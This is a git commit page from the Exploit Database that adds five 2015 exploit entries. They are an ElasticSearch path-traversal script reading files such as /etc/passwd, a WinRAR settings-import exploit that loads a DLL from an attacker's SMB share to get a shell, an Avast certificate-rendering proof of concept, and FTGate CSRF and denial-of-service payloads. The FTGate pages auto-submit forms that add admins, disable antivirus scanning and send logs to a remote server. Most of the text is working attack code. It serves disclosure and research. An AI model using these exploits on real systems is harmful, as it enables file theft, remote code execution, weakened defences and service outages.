DB: 2015-10-03
5 new exploits
This commit is contained in:
Offensive Security
parent
09104c8692
commit
e21a244644
6 changed files with 598 additions and 0 deletions
|
|
@ -34665,3 +34665,8 @@ id,file,description,date,author,platform,type,port
|
|||
38375,platforms/php/webapps/38375.txt,"Asteriskguru Queue Statistics 'warning' Parameter Cross Site Scripting Vulnerability",2013-03-10,"Manuel García Cárdenas",php,webapps,0
|
||||
38376,platforms/php/webapps/38376.txt,"WordPress podPress Plugin 'playerID' Parameter Cross Site Scripting Vulnerability",2013-03-11,hiphop,php,webapps,0
|
||||
38377,platforms/php/webapps/38377.txt,"Privoxy Proxy Authentication Information Disclosure Vulnerabilities",2013-03-11,"Chris John Riley",php,webapps,0
|
||||
38379,platforms/windows/webapps/38379.txt,"FTGate 2009 Build 6.4.00 - Multiple Vulnerabilities",2015-10-02,hyp3rlinx,windows,webapps,0
|
||||
38380,platforms/windows/webapps/38380.txt,"FTGate 7 - CSRF Vulnerabilities",2015-10-02,hyp3rlinx,windows,webapps,0
|
||||
38381,platforms/windows/local/38381.py,"WinRar < 5.30 beta 4 - Settings Import Command Execution",2015-10-02,R-73eN,windows,local,0
|
||||
38383,platforms/linux/webapps/38383.py,"ElasticSearch 1.6.0 - Arbitrary File Download",2015-10-02,"Pedro Andujar",linux,webapps,9200
|
||||
38384,platforms/windows/remote/38384.txt,"Avast Antivirus X.509 Error Rendering Command Execution",2015-10-02,"Google Security Research",windows,remote,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
123
platforms/linux/webapps/38383.py
Executable file
123
platforms/linux/webapps/38383.py
Executable file
|
|
@ -0,0 +1,123 @@
|
|||
# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531
|
||||
|
||||
```
|
||||
[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts
|
||||
!dSR script for CVE-2015-5531
|
||||
|
||||
127.0.0.1 localhost
|
||||
|
||||
# The following lines are desirable for IPv6 capable hosts
|
||||
::1 ip6-localhost ip6-loopback
|
||||
fe00::0 ip6-localnet
|
||||
ff00::0 ip6-mcastprefix
|
||||
ff02::1 ip6-allnodes
|
||||
ff02::2 ip6-allrouters
|
||||
ff02::3 ip6-allhosts
|
||||
|
||||
|
||||
The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.
|
||||
|
||||
In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative path:
|
||||
|
||||
curl http://exploitlab.int:9200/_snapshot/?pretty
|
||||
|
||||
{
|
||||
"pwn" : {
|
||||
"type" : "fs",
|
||||
"settings" : {
|
||||
"location" : "dsr"
|
||||
}
|
||||
},
|
||||
"pwnie" : {
|
||||
"type" : "fs",
|
||||
"settings" : {
|
||||
"location" : "dsr/snapshot-ev1l"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
We will use it later to access through path traversal url:
|
||||
|
||||
trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
|
||||
|
||||
|
||||
The file content it's represented as an array of ints, that needs to be translated into human readable:
|
||||
|
||||
crg@exploitlab:~$ python elk-5531.py localhost /etc/issue
|
||||
!dSR script for CVE-2015-5531
|
||||
|
||||
{u'status': 400, u'error': u'ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]'}
|
||||
|
||||
[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS \n \l
|
||||
|
||||
|
||||
There is also a path disclosure that could help exploiting in some scenarios:
|
||||
|
||||
crg@exploitlab:~$ python elk-5531.py localhost /etc/passwda
|
||||
!dSR script for CVE-2015-5531
|
||||
|
||||
{"error":"SnapshotMissingException[[pwn:dsr/../../../../../../../../etc/passwda] is missing]; nested: FileNotFoundException[/var/tmp/dsr/snapshot-dsr/../../../../../../../../etc/passwda (No such file or directory)]; ","status":404}
|
||||
|
||||
```
|
||||
|
||||
#!/usr/bin/env python
|
||||
# PoC for CVE-2015-5531 - Reported by Benjamin Smith
|
||||
# Affects ElasticSearch 1.6.0 and prior
|
||||
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
|
||||
# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com
|
||||
# Tested on default Linux (.deb) install || requires path.repo: to be set on config file
|
||||
|
||||
import urllib, urllib2, json, sys, re
|
||||
|
||||
print "!dSR script for CVE-2015-5531\n"
|
||||
if len(sys.argv) <> 3:
|
||||
print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
|
||||
sys.exit()
|
||||
|
||||
host = sys.argv[1]
|
||||
fpath = urllib.quote(sys.argv[2], safe='')
|
||||
port = 9200
|
||||
trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
|
||||
reponame = 'pwn'
|
||||
baseurl = "http://%s:%s/_snapshot/" % (host, port)
|
||||
xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)
|
||||
|
||||
|
||||
def createSnapdirs():
|
||||
try:
|
||||
url = "%s/%s" % (baseurl, reponame)
|
||||
request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')
|
||||
request.get_method = lambda: 'POST'
|
||||
urllib2.urlopen(request)
|
||||
|
||||
url = "%s/%sie" % (baseurl, reponame)
|
||||
request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')
|
||||
request.get_method = lambda: 'POST'
|
||||
urllib2.urlopen(request)
|
||||
except urllib2.HTTPError, e:
|
||||
data = json.load(e)
|
||||
print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"
|
||||
print str(data['error'])
|
||||
sys.exit()
|
||||
|
||||
|
||||
def grabFile(xplurl):
|
||||
try:
|
||||
urllib2.urlopen(xplurl)
|
||||
except urllib2.HTTPError, e:
|
||||
data = json.load(e)
|
||||
extrdata = re.findall(r'\d+', str(data['error']))
|
||||
decoder = bytearray()
|
||||
for i in extrdata[+2:]:
|
||||
decoder.append(int(i))
|
||||
print decoder
|
||||
|
||||
|
||||
def main():
|
||||
createSnapdirs()
|
||||
grabFile(xplurl)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
54
platforms/windows/local/38381.py
Executable file
54
platforms/windows/local/38381.py
Executable file
|
|
@ -0,0 +1,54 @@
|
|||
#!/usr/bin/python -w
|
||||
# Title : WinRar Settings Import Command Execution
|
||||
# Date : 02/10/2015
|
||||
# Author : R-73eN
|
||||
# Tested on : Windows 7 Ultimate
|
||||
# Vulnerable Versions : Winrar < 5.30 beta 4
|
||||
# The vulnerability exists in the "Import Settings From File" function.
|
||||
# Since Settings file of Winrar are saved as a registry file and WinRar executes
|
||||
# it in an automatic way without checking if it is writing to the Registry keys
|
||||
# used by winrar, we can create a specially crafted settings file and we can
|
||||
# overwrite registry keys.
|
||||
# Since we have access to registry there are various ways we could use this to
|
||||
# get code execution such as defining "RUN" keys or creating new services etc
|
||||
# However the best way to get code execution is using AppInit DLLs
|
||||
# AppInit DLLs are DLLs that are loaded into any process when it starts.
|
||||
# In this case, we can specify a meterpreter DLL payload using a UNC path on
|
||||
# an SMB server we control and then next time a new process starts we will
|
||||
# get a shell.
|
||||
# Read more about AppInit Dlls : https://support.microsoft.com/en-us/kb/197571
|
||||
#
|
||||
# Triggering the vulnerability
|
||||
# 1) Run this python script.
|
||||
# 2) Open WinRar
|
||||
# 3) Click Options
|
||||
# 4) Click Import/Export
|
||||
# 5) Import Settings from file
|
||||
# 6) Select the Specially crafted Settings.reg file
|
||||
#
|
||||
# Disclosure Timeline:
|
||||
# 01/10/2015 - Vendor Contacted POC provided
|
||||
# 02/10/2015 - Vendor released patch in WinRAR 5.30 beta 4 on to verify
|
||||
# presence of [HKEY_CURRENT_USER\Software\WinRAR] or
|
||||
# [HKEY_CURRENT_USER\Software\WinRAR\
|
||||
#
|
||||
#
|
||||
|
||||
banner = ""
|
||||
banner +=" ___ __ ____ _ _ \n"
|
||||
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
|
||||
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
|
||||
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
|
||||
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
|
||||
print banner
|
||||
print "[+] WinRar Settings Import Command Execution [+]\n"
|
||||
dll = raw_input("[+] Enter dll location (smb) : ")
|
||||
dll = dll.replace("\\","\\\\")
|
||||
print "[+] Writing Contet To Settings.reg [+]"
|
||||
evil = 'Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]\n"AppInit_DLLs"="' + dll + '"\n"LoadAppInit_DLLs"=dword:00000001\n'
|
||||
print evil
|
||||
f = open("Settings.reg","w")
|
||||
f.write(evil)
|
||||
f.close()
|
||||
print "[+] Settings.reg created successfully [+]"
|
||||
print "\n https://www.infogen.al/ \n"
|
||||
12
platforms/windows/remote/38384.txt
Executable file
12
platforms/windows/remote/38384.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=546
|
||||
|
||||
Avast will render the commonName of X.509 certificates into an HTMLLayout frame when your MITM proxy detects a bad signature. Unbelievably, this means CN="<h1>really?!?!?</h1>" actually works, and is pretty simple to convert into remote code execution.
|
||||
|
||||
To verify this bug, I've attached a demo certificate for you. Please find attached key.pem, cert.pem and cert.der. Run this command to serve it from a machine with openssl:
|
||||
|
||||
$ sudo openssl s_server -key key.pem -cert cert.pem -accept 443
|
||||
|
||||
Then visit that https server from a machine with Avast installed. Click the message that appears to demonstrate launching calc.exe.
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38384.zip
|
||||
223
platforms/windows/webapps/38379.txt
Executable file
223
platforms/windows/webapps/38379.txt
Executable file
|
|
@ -0,0 +1,223 @@
|
|||
[+] Credits: hyp3rlinx
|
||||
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
|
||||
[+] Source:
|
||||
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-CSRF.txt
|
||||
|
||||
|
||||
Vendor:
|
||||
================================
|
||||
www.ftgate.com
|
||||
|
||||
|
||||
Product:
|
||||
========================================
|
||||
FTGate 2009 SR3 May 13 2010 Build 6.4.00
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=================================
|
||||
Cross site request forgery (CSRF)
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
Vulnerability Details:
|
||||
=====================
|
||||
Multiple CSRF vectors exist within FTGate 2009 that allow us to add
|
||||
arbitrary remote domains,
|
||||
disable antivirus scanning for various Email file attachment types, and
|
||||
finally change settings
|
||||
to have archived server logs sent to our remote attacker controlled server
|
||||
for safe keeping.
|
||||
|
||||
Exploit code(s):
|
||||
===============
|
||||
|
||||
CSRF(s):
|
||||
|
||||
<!DOCTYPE>
|
||||
<html>
|
||||
<body onLoad="invertedcross()">
|
||||
|
||||
<script>
|
||||
function invertedcross(){
|
||||
var e=document.getElementById('PUNKSNOTDEAD')
|
||||
e.submit()
|
||||
}
|
||||
</script>
|
||||
|
||||
|
||||
1) add arbitrary domains:
|
||||
-------------------------
|
||||
<form id="PUNKSNOTDEAD" action="
|
||||
http://localhost:8089/webadmin/mailboxes/index.fts?action=save"
|
||||
method="post">
|
||||
<input type="text" name="dname" value="hyp3rlinx.com" />
|
||||
<input type="text" name="dtype" value="4" />
|
||||
<input type="text" name="fname" value="*" />
|
||||
<input type="text" name="action" value="domadd" />
|
||||
<input type="text" name="domain" value="" />
|
||||
<input type="text" name="newdomain" value="" />
|
||||
</form>
|
||||
|
||||
|
||||
2) sends archived logs to arbitrary remote server:
|
||||
--------------------------------------------------
|
||||
<form id="PUNKSNOTDEAD" action="
|
||||
http://localhost:8089/webadmin/config/archive.fts?action=save"
|
||||
method="post">
|
||||
<input type="text" name="enable" value="on" />
|
||||
<input type="text" name="path"
|
||||
value="C%3A%5CProgram+Files+%28x86%29%5CFTGate+2009%5CArchive" />
|
||||
<input type="text" name="duration" value="0" />
|
||||
<input type="text" name="external" value="on" />
|
||||
<input type="text" name="extarcserver" value="6.6.6.0" />
|
||||
</form>
|
||||
|
||||
|
||||
3) disable virus scan for .jar or .exe files etc:
|
||||
-------------------------------------------------
|
||||
Options to control handling of virus scanning for email attachments Virus
|
||||
Scanning Mode
|
||||
Operating mode of the virus scanner mode=0 to Disable Virus Scanning.
|
||||
|
||||
<form id="PUNKSNOTDEAD" action="
|
||||
http://localhost:8089/webadmin/filters/virus.fts" method="post">
|
||||
<input type="text" name="action" value="add" />
|
||||
<input type="text" name="mode" value="0" />
|
||||
<input type="text" name="extension" value="dll" />
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
=========================================================
|
||||
Vendor Notification: September 29, 2015
|
||||
October 1, 2015 : Public Disclosure
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
=========================================================
|
||||
High
|
||||
|
||||
|
||||
Description:
|
||||
==========================================================
|
||||
|
||||
Request Method(s): [+] POST
|
||||
|
||||
Vulnerable Product: [+] FTGate 2009 SR3 May 13 2010 Build
|
||||
6.4.00
|
||||
|
||||
Vulnerable Parameter(s): [+] domadd, extarcserver & mode
|
||||
|
||||
|
||||
####################################################
|
||||
|
||||
[+] Credits: hyp3rlinx
|
||||
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
|
||||
[+] Source:
|
||||
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-DOS.txt
|
||||
|
||||
|
||||
Vendor:
|
||||
================================
|
||||
www.ftgate.com
|
||||
|
||||
|
||||
Product:
|
||||
================================
|
||||
FTGate 2009 SR3 May 13 2010 Build 6.4.000
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=======================
|
||||
Denial of service (DOS)
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
Vulnerability Details:
|
||||
=====================
|
||||
Multiple denial of service oppurtunities reside within FTGate 2009 that
|
||||
allow us to disrupt and shut down
|
||||
various FTGate services via GET requests by luring victimz to our website
|
||||
or get them to click our malicious linxs.
|
||||
|
||||
|
||||
Exploit code(s):
|
||||
===============
|
||||
|
||||
DOS:
|
||||
|
||||
1) shutdown solight web mail interface on port 80
|
||||
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=36
|
||||
|
||||
2) shutdown Monitor server port 8081
|
||||
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=35
|
||||
|
||||
3) shutdown FTGate connector server port 8090 listens on address 'Any'
|
||||
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=38
|
||||
|
||||
4) shutdown IMAP server port 143 listening on 'Any'
|
||||
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=33
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
=========================================================
|
||||
Vendor Notification: September 29, 2015
|
||||
October 1, 2015 : Public Disclosure
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
=========================================================
|
||||
Medium
|
||||
|
||||
|
||||
Description:
|
||||
==========================================================
|
||||
Request Method(s): [+] GET
|
||||
|
||||
Vulnerable Product: [+] FTGate 2009 SR3 May 13 2010 Build
|
||||
6.4.000
|
||||
|
||||
Vulnerable Parameter(s): [+] action, id
|
||||
|
||||
|
||||
===========================================================
|
||||
|
||||
[+] Disclaimer
|
||||
Permission is hereby granted for the redistribution of this advisory,
|
||||
provided that it is not altered except by reformatting it, and that due
|
||||
credit is given. Permission is explicitly given for insertion in
|
||||
vulnerability databases and similar, provided that due credit is given to
|
||||
the author.
|
||||
The author is not responsible for any misuse of the information contained
|
||||
herein and prohibits any malicious use of all security related information
|
||||
or exploits by the author or elsewhere.
|
||||
|
||||
by hyp3rlinx
|
||||
181
platforms/windows/webapps/38380.txt
Executable file
181
platforms/windows/webapps/38380.txt
Executable file
|
|
@ -0,0 +1,181 @@
|
|||
[+] Credits: hyp3rlinx
|
||||
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
|
||||
[+] Source:
|
||||
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt
|
||||
|
||||
|
||||
Vendor:
|
||||
================================
|
||||
www.ftgate.com
|
||||
www.ftgate.com/ftgate-update-7-0-300
|
||||
|
||||
|
||||
Product:
|
||||
================================
|
||||
FTGate v7
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=================================
|
||||
Cross site request forgery (CSRF)
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
Vulnerability Details:
|
||||
=====================
|
||||
Multiple CSRF vectors exists within FTGate v7 allowing the following attacks
|
||||
www.ftgate.com/ftgate-update-7-0-300
|
||||
|
||||
1) add arbitrary domains
|
||||
2) enable arbitrary remote archiving of logs
|
||||
3) whitelist arbitrary email addresses
|
||||
4) add arbitrary mailbox & disable antivirus,
|
||||
5) remove email attachment blocking for filez.
|
||||
|
||||
|
||||
Exploit code(s):
|
||||
===============
|
||||
|
||||
<!DOCTYPE>
|
||||
<html>
|
||||
<body onLoad="doit()">
|
||||
<script>
|
||||
function doit(){
|
||||
var e=document.getElementById('HELL')
|
||||
e.submit()
|
||||
}
|
||||
</script>
|
||||
|
||||
1) add arbitrary remote domain:
|
||||
|
||||
<form id='HELL' action="
|
||||
http://localhost:8089/v7/wizards/adddomain.fts?action=save&id="
|
||||
method="post">
|
||||
<input type="text" name="name" value="abysmalgodz" />
|
||||
<input type="text" name="type" value="1" />
|
||||
</form>
|
||||
|
||||
|
||||
2) enable arbitrary remote archive:
|
||||
|
||||
<form id='HELL' action="
|
||||
http://localhost:8089/v7/webadmin/config/archive.fts?action=save"
|
||||
method="post">
|
||||
<input type="text" name="action" value="save" />
|
||||
<input type="text" name="enable" value="on" />
|
||||
<input type="text" name="duration" value="0" />
|
||||
<input type="text" name="external" value="on" />
|
||||
<input type="text" name="extarcserver" value="0.6.6.6" />
|
||||
</form>
|
||||
|
||||
disable Antivirus for .exe files: also, has a persistent XSS inject but our
|
||||
payload gets truncated at 5 chars,
|
||||
but can corrupt the loading of valid XML returned from database to the WEB
|
||||
UI.
|
||||
|
||||
e.g.
|
||||
|
||||
HTTP response after attack outputs corrupted XML generating errors.
|
||||
|
||||
<cell>exe</cell>
|
||||
<cell/>
|
||||
<cell><scri</cell>
|
||||
<cell/>
|
||||
</row>
|
||||
<row id='id_"/><s'>
|
||||
|
||||
http://localhost:8089/v7/axml/adminlists.fts?table=ext&add=exe
|
||||
|
||||
|
||||
<form id='HELL' action="
|
||||
http://localhost:8089/v7/webadmin/filters/virus.fts?action=save&mailbox="
|
||||
method="post">
|
||||
<input type="text" name="mode" value="on" />
|
||||
<input type="text" name="selftest" value="0ff" />
|
||||
<input type="text" name="extGrid_id_exe_0" value="1" />
|
||||
</form>
|
||||
|
||||
|
||||
add arbitrary Admins:
|
||||
|
||||
http://localhost:8089/v7/axml/adminlists.fts?table=admin&add=ghostofsin
|
||||
|
||||
whitelist arbitrary email addresses:
|
||||
|
||||
Messages that originate from these email addresses are not filtered by the
|
||||
Word or Phrase filters.
|
||||
|
||||
http://localhost:8089/v7/axml/whitelist.fts?id=531&add=hell@abyss.666
|
||||
|
||||
<!--remove email attachment blocking for exe, hta & html filez -->
|
||||
|
||||
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3
|
||||
|
||||
when access the above URL it returns XML with all file extensions blocked
|
||||
on incoming email, we now know ID in database.
|
||||
so to remove blocking of .cmd we select '11'
|
||||
|
||||
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=11
|
||||
|
||||
or remove blocking of multiple file types in one shot
|
||||
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3
|
||||
|
||||
|
||||
add arbitrary mailbox:
|
||||
|
||||
<form id='HELL' action="
|
||||
http://localhost:8089/v7/wizards/addmailbox.fts?action=save&id=500"
|
||||
method="post">
|
||||
<input type="text" name="name" value="punksnotdead" />
|
||||
<input type="text" name="type" value="0" />
|
||||
<input type="text" name="cn" value="punksnotdead" />
|
||||
<input type="text" name="password" value="punksnotdead" />
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
========================================
|
||||
Vendor Notification: September 29, 2015
|
||||
October 1, 2015 : Public Disclosure
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
================
|
||||
High
|
||||
|
||||
|
||||
Description:
|
||||
==========================================================
|
||||
Request Method(s): [+] GET
|
||||
|
||||
Vulnerable Product: [+] FTGate v7
|
||||
|
||||
Vulnerable Parameter(s): [+] type, id, mode, add, extarcserver
|
||||
|
||||
===========================================================
|
||||
|
||||
[+] Disclaimer
|
||||
Permission is hereby granted for the redistribution of this advisory,
|
||||
provided that it is not altered except by reformatting it, and that due
|
||||
credit is given. Permission is explicitly given for insertion in
|
||||
vulnerability databases and similar, provided that due credit is given to
|
||||
the author.
|
||||
The author is not responsible for any misuse of the information contained
|
||||
herein and prohibits any malicious use of all security related information
|
||||
or exploits by the author or elsewhere.
|
||||
|
||||
by hyp3rlinx
|
||||
Loading…
Add table
Reference in a new issue